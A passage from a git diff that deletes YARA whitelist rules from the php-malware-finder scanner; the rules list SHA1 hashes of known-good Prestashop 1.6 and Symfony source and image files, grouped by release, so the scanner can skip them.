modules/themeinstallator/themeinstallator.php - hash.sha1(0, filesize) == "839c9107a8db07273a66f2602e5ff68c662c5178" or // install-new/models/install.php - hash.sha1(0, filesize) == "a04a1141e4292eeceb7567db94715030a8865e58" or // classes/Product.php - hash.sha1(0, filesize) == "397981267bcf82bf12ce2032d13c373d7857d25e" or // install-dev/index.php - hash.sha1(0, filesize) == "6b93d28af71f5bbf201d56922c72d1e2c784f51c" or // classes/Language.php - hash.sha1(0, filesize) == "196a2f0810b0034e34fa024e4bc63f7764332668" or // classes/Tools.php - hash.sha1(0, filesize) == "bec5f7293da27cf49ff34c14274b056eabb3b3e6" or // classes/Tab.php - hash.sha1(0, filesize) == "66f3dc50226acf0985b2c43afa069c95e3a0c972" or // classes/Dispatcher.php - hash.sha1(0, filesize) == "7594e1eae77c0aeda977f9d288bae3b9e6609322" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "5ce9a61fc9ec4ebbe6c4f8d0435dbd85c6ff630f" or // install-new/classes/xmlLoader.php - - /* Prestashop 1.6.0.1 */ - hash.sha1(0, filesize) == "81b420c5d8fa7ae40e36c8c1a8720e945b8d0f9e" or // tools/tcpdf/tcpdf.php - hash.sha1(0, filesize) == "92ca42f51f3aaea36e0e3c6ba4bbad8dcdd334fe" or // install-dev/data/img/t/AdminSubDomains.gif - hash.sha1(0, filesize) == "7c1dd47776d00e5756ec22ea798e07b77fe6709c" or // classes/Link.php - hash.sha1(0, filesize) == "b1ac32e7b7d752337713e238acc5249a9cec648e" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "4f9ac18927da5166fefe8158e61edf5485e01bc6" or // install-dev/models/install.php - hash.sha1(0, filesize) == "01f81d802c442530ed2d83d7d3e328cffb867793" or // install-dev/fixtures/fashion/data/generate_attribute.php - hash.sha1(0, filesize) == "bab64b6222cfdcb0bc5b5b533f4062a41bde671b" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "1d5744a7c7b12143e199f280ad4db6e47a673f6e" or // modules/homeslider/homeslider.php - hash.sha1(0, filesize) == "31952fa7458295239c4dc2d980685f7419afe4f1" or // modules/pscleaner/pscleaner.php - hash.sha1(0, filesize) == "5edb689475a63687000799f45bf20e2ce51d256d" or // install-dev/theme/img/ok.gif - hash.sha1(0, filesize) == "efd42b45df2b2465a8370b4bfc3a67fdf4602320" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "73c6ccc6c9d53ab473836a92105ade71533dcf85" or // modules/homeslider/upgrade/install-1.2.1.php - hash.sha1(0, filesize) == "12c6a49c2211dcc36447993f5c302df0f99b696f" or // themes/default-bootstrap/img/top-banner.gif - hash.sha1(0, filesize) == "2d98f498a619d0b3d663b8b76948ddb81b7c9950" or // install-dev/theme/img/ajax-loader-small.gif - hash.sha1(0, filesize) == "1cb353a3a28e1162acfffd331641c6f788031e7f" or // classes/Product.php - hash.sha1(0, filesize) == "34970ce1144ffcc03f1bc43cdb29f895de1be094" or // controllers/admin/AdminShopUrlController.php - hash.sha1(0, filesize) == "a808d31309987adf310aedd356ab00555dd6505c" or // tools/tcpdf/barcodes.php - hash.sha1(0, filesize) == "0170e2cc9cec433f30bc2da9c35b239e36102e4f" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "b833690de6a37ae35ec2cabf2794718fd0f4fd1d" or // classes/helper/HelperOptions.php - hash.sha1(0, filesize) == "60977cb1dde0e8e9da170504320223bee7978780" or // install-dev/upgrade/php/p15014_copy_missing_images_tab_from_installer.php - hash.sha1(0, filesize) == "8dda5db858efab326ef487e80a60c05553cbbf62" or // tools/smarty/sysplugins/smarty_internal_templatelexer.php - hash.sha1(0, filesize) == "f0d6ff896487315561b31c0e187f879cc0546f86" or // classes/Language.php - hash.sha1(0, filesize) == "5b47e798345178be2fa24d1921e6aaedb3f9f091" or // classes/Tools.php - hash.sha1(0, filesize) == "3e0a999ca21c23677f0c5fcea71328b1b66e8b4f" or // modules/productcomments/productcomments.php - hash.sha1(0, filesize) == "fd2d5855e14a73f5a8d8c6a503ed20745feb7794" or // img/admin/ajax-loader-yellow.gif - hash.sha1(0, filesize) == "c9f0bfae97d3a70d41a04aab432d73a5bdf4c2b5" or // classes/module/Module.php - hash.sha1(0, filesize) == "b5c2c9f05f4c5c83cf28693b5b080365cdd34e20" or // classes/controller/AdminController.php - hash.sha1(0, filesize) == "4aef51aae0ffc29c5fe087edbbd1085ce18e544b" or // classes/ConfigurationTest.php - hash.sha1(0, filesize) == "0ef1c023cef7f94409b8d99df1fa854ffaf988ea" or // classes/AdminTab.php - hash.sha1(0, filesize) == "43f7660872183c1a7163edd29e0d89af24439169" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "20e6ff8533cbc9d2649e233734dd10934c7790f7" or // install-dev/classes/xmlLoader.php - - /* Prestashop 1.6.0.2 */ - hash.sha1(0, filesize) == "55b8cd2d139bbb0d6e79cb42d0aafe15eb9e734a" or // classes/Link.php - hash.sha1(0, filesize) == "690cc587337797e2d563925dc0e9ec8791477f9a" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "ace6033b09ed05cdd6dd436cacd82227a7e50d1d" or // install-dev/models/install.php - hash.sha1(0, filesize) == "1e6f294bb2fab19c3a75ef8753cda945624217cd" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "28b8e7742c6cc7e4464ffe88056fdb4210be2806" or // modules/homeslider/homeslider.php - hash.sha1(0, filesize) == "eac9aaf750aca322290f40f3a8b0c119af7852de" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "46b7fb0fdc7dab23bda8b0962973a44d36a7d64d" or // classes/Product.php - hash.sha1(0, filesize) == "53160f3399bda4824c24d35d63f4f5d76ed64997" or // controllers/admin/AdminShopUrlController.php - hash.sha1(0, filesize) == "fce27ced44d72d1e79d59b6a3ebc09205fd65b73" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "4009303dabc4e4da6f7030e1ab107910421bf4fd" or // modules/dashgoals/dashgoals.php - hash.sha1(0, filesize) == "db0210610748cf9cff45d8c16a038be67a0fd965" or // classes/Language.php - hash.sha1(0, filesize) == "d2bfbe963981c734b90a08ddc1006583502d5751" or // classes/Tools.php - hash.sha1(0, filesize) == "f1dfebdff574bd39f104427b5f629375445de110" or // classes/module/Module.php - hash.sha1(0, filesize) == "e81f747985ba3625a8f2c6f05a3b5f5279dbeeac" or // classes/controller/AdminController.php - hash.sha1(0, filesize) == "e38c17c481b001663d0541ff4a18e793b3613fd1" or // classes/ConfigurationTest.php - hash.sha1(0, filesize) == "8d0e5eb4558d2ffc05b772141f23f8c6b4c4a4ff" or // classes/AdminTab.php - hash.sha1(0, filesize) == "7efd55846aca109d9129fb01e5e67229612dc13d" or // controllers/admin/AdminModulesController.php - - /* Prestashop 1.6.0.3 */ - hash.sha1(0, filesize) == "9dd9c432f75d1bdc44a5b140c830066780b04dc5" or // tools/tcpdf/tcpdf.php - hash.sha1(0, filesize) == "3e4b5f39fbdb96ee82687bfe0aceb534e1f34557" or // classes/Link.php - hash.sha1(0, filesize) == "4a51e7e336d2278c090ab9e7775c69ccf534cbbe" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "4fa17b4b59c66758755102dead7316b0e0daac79" or // install-dev/models/install.php - hash.sha1(0, filesize) == "701b1c764ae042721c0002e39c40a2a9a2686c0a" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "7cb4d961c830c3cf0d23f73a9bb7aa4f5d02f637" or // modules/homeslider/homeslider.php - hash.sha1(0, filesize) == "4edd4035a384ed38d3619f3729d3ca538c872997" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "3d76d4c8866ee5500a16fe65d5dedb14f39974e0" or // classes/Product.php - hash.sha1(0, filesize) == "5457d676715b35ba0b4342acd860401cd8ef9381" or // controllers/admin/AdminShopUrlController.php - hash.sha1(0, filesize) == "cb69ad340bce9f1afd53d5a7478703d3b1b876be" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "536123a61d5f1f2b43c18fa74b2de9dac3f124b7" or // classes/helper/HelperOptions.php - hash.sha1(0, filesize) == "bdfbaf0a390c278baf589c23d4d67cfa1d985e52" or // install-dev/upgrade/php/p15014_copy_missing_images_tab_from_installer.php - hash.sha1(0, filesize) == "c29351b370bbb4c977d6b8472df2daf59644a163" or // modules/dashgoals/dashgoals.php - hash.sha1(0, filesize) == "f553437c0b40abf613f598f5eae2035b47dda856" or // classes/Language.php - hash.sha1(0, filesize) == "947912282892826402fbb929c7eb50c0554b7b0b" or // classes/Tools.php - hash.sha1(0, filesize) == "4cdbeb0f5e26ba6b0a88aa5a49ac37acfb36009b" or // tools/pclzip/pclzip.lib.php - hash.sha1(0, filesize) == "ecd533ff6fbd3dd10f7951c1e07750abb03fe01d" or // controllers/front/PageNotFoundController.php - hash.sha1(0, filesize) == "f66871da2447b21e49afdbf9a917cc63ec4136bb" or // classes/module/Module.php - hash.sha1(0, filesize) == "b0f8be64d263ea837077b432752cee52fd28005b" or // classes/controller/AdminController.php - hash.sha1(0, filesize) == "533b36787a8ffc351c1973aa6d302e505db8593b" or // classes/ConfigurationTest.php - hash.sha1(0, filesize) == "349361cee45792efbc3f08bdda331e8d3003736f" or // classes/AdminTab.php - hash.sha1(0, filesize) == "29a168c1337c7c8724cd1eafbef8dea7f73d0f6d" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "ce158ef43637d0ddaa6830cbe40ff1c8748a4701" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "3124223ce6ee7c652df33e2d4b6a28f2022c1314" or // install-dev/classes/xmlLoader.php - - /* Prestashop 1.6.0.4 */ - hash.sha1(0, filesize) == "3dab59e7732766859869780f0a32462043d0548e" or // admin-dev/filemanager/include/utils.php - hash.sha1(0, filesize) == "17bc6596b0bd2efd490512f3060e502c875fddff" or // classes/Link.php - hash.sha1(0, filesize) == "dc58024cf55557f91b67b956cf008c6e39d6ea16" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "eda64e338f08f30810c457b633e443396872fa79" or // install-dev/models/install.php - hash.sha1(0, filesize) == "f91b0683727f7c1cb2afb77b902c2b945b9ff225" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "573db0ad3bc6374756a7b97bae5c7fbcb4256185" or // modules/homeslider/homeslider.php - hash.sha1(0, filesize) == "b1ee8d2a78f4c0a2d33eae02db94b0720b6c8c3d" or // admin-dev/filemanager/dialog.php - hash.sha1(0, filesize) == "b6f228c0dec08b702316343ff6424a434e966e0b" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "93805053a42dd8b4bb933c9a63c89abcfcff11ff" or // classes/Product.php - hash.sha1(0, filesize) == "2b5d66b41ab7d1bccb90da8259ed6961c7817232" or // controllers/admin/AdminShopUrlController.php - hash.sha1(0, filesize) == "df2d4dc8ded58796fa2eab93a8fbafa46aa40b68" or // modules/dashgoals/dashgoals.php - hash.sha1(0, filesize) == "ab40ea0dc6703e483748a617f2ef174e6f4f6386" or // classes/Language.php - hash.sha1(0, filesize) == "3821c944b207fd70089df488dbf2b363fd46dbee" or // classes/Tools.php - hash.sha1(0, filesize) == "6360a0e687bfb5fc31d0ebf86ba32b0d09979a12" or // controllers/front/PageNotFoundController.php - hash.sha1(0, filesize) == "abd197535e680a39598c598a250079616e808ca8" or // classes/module/Module.php - hash.sha1(0, filesize) == "51d9030b48f61929ef8dabec5ab37b2d76c5476d" or // classes/controller/AdminController.php - hash.sha1(0, filesize) == "8da15373f5177beefb1e77f5d8e9e791d5b7a3a4" or // classes/AdminTab.php - hash.sha1(0, filesize) == "95696d6b23c411bdc3d2760d3030566a9dab8857" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "a4bcc729ad6129919e8fcd9456b1ef1f294fd15a" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "f313b4ef749cbeb6234bf177459e343102a4c578" or // admin-dev/filemanager/execute.php - - /* Prestashop 1.6.0.5 */ - hash.sha1(0, filesize) == "acc0e6bd294e064692680c605949ee728c0f0ca3" or // img/admin/export.gif - hash.sha1(0, filesize) == "099694e6dbc5c450cd5ec49aa95569d8226d5ba3" or // install-dev/data/img/os/order_state_12.gif - hash.sha1(0, filesize) == "cc99343c14fe8f59367d9a484cb572abca63cc02" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "06b6499533a0d4ee957893498fd94559705e1bd3" or // modules/homeslider/homeslider.php - hash.sha1(0, filesize) == "27511801177be19c73909ef622190aea13d97c7d" or // install-dev/theme/img/ok.gif - hash.sha1(0, filesize) == "27511801177be19c73909ef622190aea13d97c7d" or // img/admin/ok.gif - hash.sha1(0, filesize) == "099694e6dbc5c450cd5ec49aa95569d8226d5ba3" or // install-dev/data/img/os/Payment_remotely_accepted.gif - hash.sha1(0, filesize) == "17be7ef93a37c61731af95a6cdf3c8be80db6330" or // classes/Product.php - hash.sha1(0, filesize) == "5df8065acb193d3eb8f8ad301da7f6ad4663a888" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "d67005150a3d06f04e45f39ecb2fea3688e06ec7" or // classes/Language.php - hash.sha1(0, filesize) == "e2c7826775bc0448278e987cdf71e5bd01729bc2" or // classes/Tools.php - hash.sha1(0, filesize) == "3a1f84dabe229d0cf576b9e30ef96db65837956d" or // classes/module/Module.php - hash.sha1(0, filesize) == "b3d1fbdf0a6062eaf1e253be351da787588b7f53" or // classes/controller/AdminController.php - hash.sha1(0, filesize) == "f2967a1fb92a5c0808fc1b718e15e9d5df35e071" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "c81a048c01d07c513524729fb392d68d7ac5d98d" or // install-dev/classes/xmlLoader.php - - /* Prestashop 1.6.0.6 */ - hash.sha1(0, filesize) == "8be613d99da6561f41c29472aab1f2cca9db5106" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "6f38f2cd54433b3c5f3c01faef2de8e279000831" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "15b2c2f57b671b8d84f963659dd5e2c9f3634540" or // controllers/admin/AdminModulesPositionsController.php - hash.sha1(0, filesize) == "603685ab446951a3c261fa2754b081ed9bff328a" or // admin-dev/filemanager/dialog.php - hash.sha1(0, filesize) == "ae4ccf3c2da9b2f9c9139780c75447a5a35a531f" or // classes/Product.php - hash.sha1(0, filesize) == "cbe884a582670b1d8187dd14ad270ccef9f70a01" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "cd42cecaede0c824a368fe24aed4e097ce3dd0ad" or // install-dev/upgrade/php/p15014_copy_missing_images_tab_from_installer.php - hash.sha1(0, filesize) == "0d46aa184356ca4a89f33285fc04063eb7990416" or // classes/Language.php - hash.sha1(0, filesize) == "a0f5bbac6b472156c3514d7fc0731abd97a7a855" or // classes/Tools.php - hash.sha1(0, filesize) == "8ef6a8b75a20f034123233a9a91c0a50e28652c3" or // classes/module/Module.php - hash.sha1(0, filesize) == "32b6712ddb4ac6bcf6ff9776a8b32c505ba80053" or // classes/controller/AdminController.php - hash.sha1(0, filesize) == "af6f0d6f89683d1b39c60562a55b811e2d88a408" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "cc506804da42b2d05e655f2d44cc3dc3901a8310" or // controllers/admin/AdminModulesController.php - - /* Prestashop 1.6.0.7 */ - hash.sha1(0, filesize) == "22ff7bac1825b18b0a76cba6572c91d560fa886f" or // classes/Link.php - hash.sha1(0, filesize) == "bea9807242f5c142fc1e7943de293f574f25a385" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "53d0df4b78b7fc47ebbc9d9e3e55c0d51e6ad3a9" or // install-dev/models/install.php - hash.sha1(0, filesize) == "cde0b5269fb9cbd72f2ecde7ed05ec8de06859a8" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "6ef1d73229d3f1dd8fd2267fe2476bc045653ee3" or // controllers/admin/AdminModulesPositionsController.php - hash.sha1(0, filesize) == "2a8ee528479f857bdac121143ec2c1e237c67ef6" or // admin-dev/filemanager/dialog.php - hash.sha1(0, filesize) == "ef8472e820d4f6cf1d872b22e12853083acedf32" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "839877a3de44de99f5eb2ca9bef5325cc85bba63" or // classes/Product.php - hash.sha1(0, filesize) == "795978a02893a56414aad162d964869065f7ada5" or // controllers/admin/AdminShopUrlController.php - hash.sha1(0, filesize) == "de9673ceed3845ed70da9f89ac18ace37867ff66" or // classes/helper/HelperOptions.php - hash.sha1(0, filesize) == "05e6a4df5b538034355c3fc32cf6a44cffe5de7a" or // classes/Language.php - hash.sha1(0, filesize) == "9baa2abc25e67bd3bb5836c0ed7fcc7794e02d36" or // classes/Tools.php - hash.sha1(0, filesize) == "8ba7854c0726ccc2dc52a0e1cf5fa2dffea8631d" or // classes/module/Module.php - hash.sha1(0, filesize) == "515958889d1f43f733c736403cae25ea112ff7ff" or // classes/controller/AdminController.php - hash.sha1(0, filesize) == "b5e004690ddd4f874ffd29e3035affe123f444fc" or // classes/ConfigurationTest.php - hash.sha1(0, filesize) == "0e1787f25aaf7afe43bf7e070363d74a03b660f9" or // classes/AdminTab.php - hash.sha1(0, filesize) == "c5675e45d36d28b03f157d003ddea1a4ddd857b3" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "016c12de39e4cc3f669ffd32002392427b8a530f" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "bc0e9e6b50830668c889b39f1a5bac17c9e47007" or // install-dev/classes/xmlLoader.php - - /* Prestashop 1.6.0.8 */ - hash.sha1(0, filesize) == "72ec6a9b904ed21a5c28b5b473dfd971b185affb" or // classes/Product.php - hash.sha1(0, filesize) == "2e683c79aa381fff1d9d5ba4f54118cf0e7986b3" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "a4c0d15be948337a4a52aa97c15f22a115e1cd4a" or // classes/Language.php - hash.sha1(0, filesize) == "9f1735fa1830d665029c2a55fa86facf6ce04d0a" or // classes/Tools.php - hash.sha1(0, filesize) == "4f2847e12ce84a46bc8aeef5fa72cd6b1e805c46" or // classes/module/Module.php - hash.sha1(0, filesize) == "24ce20b535597656a9b569bdd1bbe1ca4b62d170" or // classes/controller/AdminController.php - - /* Prestashop 1.6.0.9 */ - hash.sha1(0, filesize) == "d6f714325b08ae0efa1da983250fca7ec5b3bbb3" or // classes/webservice/WebserviceOutputJSON.php - hash.sha1(0, filesize) == "64319668487fcb38d514f74b4adea4910ce97424" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "f2a23e23c71a25fbcb0cacecf4441f8e8a6a6f17" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "3ee65cc93e88e05e01498851d5f16e9d2b0c1507" or // controllers/admin/AdminModulesPositionsController.php - hash.sha1(0, filesize) == "48aa2e97ff63d90191fcd75dcb7c164c693ff375" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "6226f84423e99874b3e9c336e07a48af84122a24" or // classes/Product.php - hash.sha1(0, filesize) == "2164959b083e705e4091142a56c0a8d5f3ce125c" or // tools/tcpdf/barcodes.php - hash.sha1(0, filesize) == "b3ed5f5b7a28ec3b6324e2144bdf4bc9b3024ebc" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "9a7832fdfe7d2d835aedb3496a983a3b716eb03a" or // classes/Tools.php - hash.sha1(0, filesize) == "817d8d482ba662c417cd642577a1391ced1e2f36" or // classes/module/Module.php - hash.sha1(0, filesize) == "fe876f205ced3f5d675369bdb8e3e26f55c96969" or // classes/AdminTab.php - hash.sha1(0, filesize) == "f166d20367aa526c5a97dfd149bfe04c678e7626" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "6126aa1380c85f07e86693f314a55a603b594b2f" or // controllers/admin/AdminModulesController.php - - /* Prestashop 1.6.0.10 */ - hash.sha1(0, filesize) == "a27db505ef30105452584226d12950ca10f03a20" or // classes/Link.php - hash.sha1(0, filesize) == "2914576203f8d9298bce1cf64ece9b13831f03c7" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "2dd72770f25ab12c6463c95c78ca16c6eb93c9a0" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "540b1021e81802b9e46a46ed93a53bcc56ef8d32" or // controllers/admin/AdminModulesPositionsController.php - hash.sha1(0, filesize) == "cf42abf3acb66cd483f3eb702af63c569919a71b" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "fd8841ef76a2842f8e290ea894eb27898fdf0da4" or // classes/Product.php - hash.sha1(0, filesize) == "3dd18d6eca2f46f305081ee4b91a6d44cfb78d0e" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "a959a24c27c4acb8ffec330f445faba43c7e5bf2" or // classes/Tools.php - hash.sha1(0, filesize) == "3dec82df45581048301b11938ab7e8864617519e" or // classes/module/Module.php - hash.sha1(0, filesize) == "4adf1915fbd6f83bff62d6938f5551ffd7b5ac26" or // classes/ConfigurationTest.php - hash.sha1(0, filesize) == "dc62d0faef36661c59714d82c81fabf97217bf72" or // classes/AdminTab.php - hash.sha1(0, filesize) == "68c1d42a94e291d288bb249da31c1c46e94e6593" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "e1d953c2e7dc2ad79f317ec1f44019c7b7857bd8" or // controllers/admin/AdminModulesController.php - - /* Prestashop 1.6.0.11 */ - hash.sha1(0, filesize) == "b52eb8496b2775b9002101bab490633ceede43e8" or // classes/Link.php - hash.sha1(0, filesize) == "3777e46bf4d2ee17b4d63b28f8331cd37703bdc2" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "f13f878250948e8631dc5c082ab0e91fe24b1657" or // install-dev/models/install.php - hash.sha1(0, filesize) == "077149bc9622e696bf787e0be601ef8182c4a920" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "b717c4c2cb31f4abd72b5594b5a341a936a9efb1" or // controllers/admin/AdminModulesPositionsController.php - hash.sha1(0, filesize) == "c7bc9b8334d60019b87aad4f8227934fa651a8dc" or // admin-dev/filemanager/dialog.php - hash.sha1(0, filesize) == "95ce8223bc1bb2f5b4ae64e2a1a3688590add147" or // controllers/admin/AdminRequestSqlController.php - hash.sha1(0, filesize) == "33b121b1710ec0295684aef7774755623f756cb3" or // classes/Product.php - hash.sha1(0, filesize) == "9310699b95e685238d4de81e2239938f435acda4" or // classes/webservice/WebserviceRequest.php - hash.sha1(0, filesize) == "b241f935a8cc39decbcbab51497b96ebc32c6956" or // classes/helper/HelperOptions.php - hash.sha1(0, filesize) == "d739926e88305774f59634b7cd4e56418d8d0d3c" or // install-dev/upgrade/php/p15014_copy_missing_images_tab_from_installer.php - hash.sha1(0, filesize) == "5572b8b0a2d8f16993b312b1faeb7f3569b9d072" or // classes/Language.php - hash.sha1(0, filesize) == "1e407e54688e6781b41f3b8e4765e2164d3059ee" or // classes/Tools.php - hash.sha1(0, filesize) == "4e828fbed04d70fb9e6a088ec18e6c9a0ece732f" or // controllers/front/PageNotFoundController.php - hash.sha1(0, filesize) == "f9b1cf035f431ad5bc3cdac576543c43bca935eb" or // classes/module/Module.php - hash.sha1(0, filesize) == "29bbbdf03cb6cef01c8c25f665aee95e6b6e6c59" or // admin-dev/filemanager/include/utils.php - hash.sha1(0, filesize) == "03cd7b8ba03109c1c6eead5590aa3f9e1db1c385" or // classes/ConfigurationTest.php - hash.sha1(0, filesize) == "f92e1b3c6eb9a9600d82520a8ba48c5570565787" or // classes/AdminTab.php - hash.sha1(0, filesize) == "a7c458761746f1d3338f51135c9e42d5bd123179" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "29fa0df4fb7cb6b553a6f979919d685980a8f091" or // controllers/admin/AdminModulesController.php - hash.sha1(0, filesize) == "4acfcdac1408da3ab7d6b765631c4c1c37c5ecbf" or // install-dev/classes/xmlLoader.php - - /* Prestashop 1.6.0.12 */ - hash.sha1(0, filesize) == "034d0a6240de7cdc72129eeacc63b717d850e927" or // classes/Link.php - hash.sha1(0, filesize) == "39239e986d8cac6c7268c11d9ead59d8246e48aa" or // controllers/admin/AdminCategoriesController.php - hash.sha1(0, filesize) == "78dca5078814418fc0e562981b6c519e2a97aa1f" or // install-dev/models/install.php - hash.sha1(0, filesize) == "d5e03b73ebf9578b9847e860be4c699010c45110" or // controllers/admin/AdminTranslationsController.php - hash.sha1(0, filesize) == "7e0166a95a3355a143e10b16d35c00a8abde584c" or // admin-dev/filemanager/dialog.php - hash.sha1(0, filesize) == "eae3c3f2f866163f7f338b53bd4076e6075c4fab" or // controllers/admin/AdminProductsController.php - hash.sha1(0, filesize) == "dd5aeb96c779524ecfd46ff7f9a4c3f94fbd71ed" or // classes/Product.php - hash.sha1(0, filesize) == "765205561a82ea891eac89a4aeaefed00a0d0653" or // classes/Tools.php - hash.sha1(0, filesize) == "162a753296bae91b20d5e1a12f19a0586530c9d6" or // controllers/front/PageNotFoundController.php - hash.sha1(0, filesize) == "65f5e60bfe83bed806224aad950a5e2841695227" or // classes/module/Module.php - hash.sha1(0, filesize) == "52c86bc1664083d510dd629cb5bf8c5bf0ab55dd" or // classes/AdminTab.php - hash.sha1(0, filesize) == "6c3d219eacb1f5bcf67f86526cc5f6d53bf652f0" or // classes/helper/HelperList.php - hash.sha1(0, filesize) == "3cc1310cef9f9168a6382519b3f01d785d9fb185" or // controllers/admin/AdminModulesController.php - - /* Prestashop 1.6.0.14 */ - hash.sha1(0, filesize) == "b756e05efff2f24cbad3df5ccf4494d2435d5f1f" or // classes/module/Module.php - hash.sha1(0, filesize) == "905d6098fea83a484c6a31d269dc3e255fb300d7" // controllers/admin/AdminModulesController.php - -} \ No newline at end of file diff --git a/php-malware-finder/whitelists/symfony.yar b/php-malware-finder/whitelists/symfony.yar deleted file mode 100644 index 8c757e1..0000000 --- a/php-malware-finder/whitelists/symfony.yar +++ /dev/null @@ -1,60 +0,0 @@ -import "hash" - -private rule Symfony : CMS -{ - meta: - generated = "2018-05-30T11:41:41.112501" - - condition: - /* Symfony 2.0.19 */ - hash.sha1(0, filesize) == "1fd782e06d6f9deabbc1a79542d53f7ae35a4308" or // tests/Symfony/Tests/Component/Security/Http/Firewall/DigestDataTest.php - - /* Symfony 3.0.0 */ - hash.sha1(0, filesize) == "73b94cff56707cecf81493590a8ef318ef31faee" or // src/Symfony/Component/Process/ExecutableFinder.php - hash.sha1(0, filesize) == "393474833397003658a3e05883afea9715d3e1d8" or // src/Symfony/Component/HttpKernel/UriSigner.php - hash.sha1(0, filesize) == "dc0c2d801a89f2e4a1be3722c91a363ddb2f7ab9" or // src/Symfony/Component/VarDumper/Caster/ExceptionCaster.php - - /* Symfony 3.0.9 */ - hash.sha1(0, filesize) == "a10a4593f4df6dbb804a10bf3db8b47cd71edfd0" or // src/Symfony/Component/Console/Application.php - hash.sha1(0, filesize) == "a6155a3b5d89fe330ed8627953b76d3d31867e8e" or // src/Symfony/Component/Security/Http/Tests/Firewall/DigestAuthenticationListenerTest.php - hash.sha1(0, filesize) == "6896951a4f46633697b6c9e193ea996bde3685a5" or // src/Symfony/Component/VarDumper/Caster/ExceptionCaster.php - - /* Symfony 4.0.0 */ - hash.sha1(0, filesize) == "693d923f3232b462e7104eff546735c98844cbe8" or // src/Symfony/Component/Security/Http/EntryPoint/RetryAuthenticationEntryPoint.php - hash.sha1(0, filesize) == "f0fc40c87f5d8c06d5529ab0093e735f30df5917" or // src/Symfony/Component/Process/Process.php - hash.sha1(0, filesize) == "e8fb0a72f9a3c11be20e2cc7a28d11df3416fc9f" or // src/Symfony/Component/Process/Tests/ExecutableFinderTest.php - hash.sha1(0, filesize) == "561a4d214202da50d8816a3a59bc4ebe1356c7cf" or // src/Symfony/Component/Form/Tests/Extension/Core/Type/FileTypeTest.php - hash.sha1(0, filesize) == "b67f52cfe76bf1e5ced4625ba506258508d075de" or // src/Symfony/Component/EventDispatcher/EventDispatcher.php - hash.sha1(0, filesize) == "a79b90692b4edf22230e9cad0d38596e4994383f" or // src/Symfony/Bundle/FrameworkBundle/Controller/RedirectController.php - hash.sha1(0, filesize) == "3123a1fbb7cc12ca526a5b1e3939b024992e5a10" or // src/Symfony/Component/Filesystem/Tests/FilesystemTest.php - hash.sha1(0, filesize) == "c47ee46b12ca5a74f624069924e35bceba7aa57d" or // src/Symfony/Component/Process/Tests/ProcessTest.php - hash.sha1(0, filesize) == "39af1d8a3bb291edca53669647d3d0df11ff0c6b" or // src/Symfony/Component/Process/ExecutableFinder.php - hash.sha1(0, filesize) == "7901c56989cc0e1a4db453e37fe7449053915b78" or // src/Symfony/Component/Debug/DebugClassLoader.php - hash.sha1(0, filesize) == "ce0f8199388e3ba36b28ecd8674f750860ec1228" or // src/Symfony/Component/HttpKernel/UriSigner.php - - /* Symfony 4.0.2 */ - hash.sha1(0, filesize) == "1c562d622fc3cb58eb2c3b24107a23c055b7cc64" or // src/Symfony/Component/Process/Process.php - hash.sha1(0, filesize) == "c00515f3dad94c02368fe7d0543a3b8707c87f7a" or // src/Symfony/Component/Filesystem/Tests/FilesystemTest.php - hash.sha1(0, filesize) == "2c138140d599c584016edb867420033a3da198cc" or // src/Symfony/Component/Process/Tests/ProcessTest.php - - /* Symfony 4.0.3 */ - hash.sha1(0, filesize) == "8381bfe62e337a44e9cd825c2123075de1a08013" or // src/Symfony/Component/Process/Process.php - hash.sha1(0, filesize) == "a9b821f59fb1a093d1cd36916116496606e41da2" or // src/Symfony/Component/Filesystem/Tests/FilesystemTest.php - hash.sha1(0, filesize) == 